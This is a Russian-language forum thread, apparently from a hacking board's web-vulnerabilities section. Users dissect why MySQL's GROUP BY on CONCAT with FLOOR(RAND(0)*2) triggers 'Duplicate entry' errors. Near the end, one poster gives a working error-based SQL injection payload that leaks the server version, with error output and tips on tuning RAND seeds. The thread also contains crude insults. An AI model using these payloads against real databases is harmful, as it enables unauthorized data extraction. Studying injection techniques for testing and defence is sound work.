![]() |
А как эта конструкция работает:
SELECT COUNT(*) FROM ( SELECT 1 UNION SELECT 2 UNION SELECT 3 )x GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2)) типо как происходит план запроса ? В том смысле у меня вообще групп бай в выражениях весь игнорируется кроме этого.... |
Ну чё притухли школота? Ктожи объяснит дяде арткару как работает этот запрос?
Что никто не знает? |
Скажу тебе как школьник, забей ты , что это уйня, что то ***ня, лучше по утро дрочнуть
|
Цитата:
что там у тебя в group by игнорируется? подзапросы в нем работают Код:
select 1 from(select 1)x group by (select 1);удивительно какие запросы может переваривать мускул Код:
select@x,/*!{$from(select(@x:=version()))}*/,0.3from(select~@)x; |
вообще мне тоже не понятно почему работает именно так, count в некоторых случаях при использовании rand делает несколько выборок, что как то странно
Код:
select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',rand(0)*2);Код:
select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',floor(rand(0)*2)); |
похоже если какую то часть конструкции не удаётся высчитать сразу, то он таки прогоняет запрос для каждого union
Код:
select count(*) from(select 1 union select 2 union select 3)x group by (rand(1)*2);Код:
select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(1)*2) + 1);------------------------------ Код:
select md5(rand(0)*2);---------------------------------------------- Код:
> select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 1));------------------------------------------------- Код:
> select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 999));куда девается (md5(rand(19)*2) |
стопудово это с rand накосячили, пофазил другие функции, такого поведения нет
рабочий вектор 'Duplicate entry' для error-based > select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(19)*2) + 1))); ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key' > select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(0)*2) + 1))); ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key' если получаем "Subquery returns more than 1 row" поиграться с числами для rand, rand(0)/rand(6)/rand(19) , можно юзать floor, но там тоже магия с числами, у меня завелось только с floor(rand(12)*2)) нафига не знаю, уверен где нибудь в недрах рдота или ачата это уже описано, хотел пофлудить ------------- ну да это классический error-based, wtf почему не решили пофиксить ипать сколько лет уже прошло |
А чёйта мой топег про MySQL перенесли из Раздела "MySQL" в Вэб-уязвимости? Мне та в принципе пох, но просто интересно...
|
| Время: 04:36 |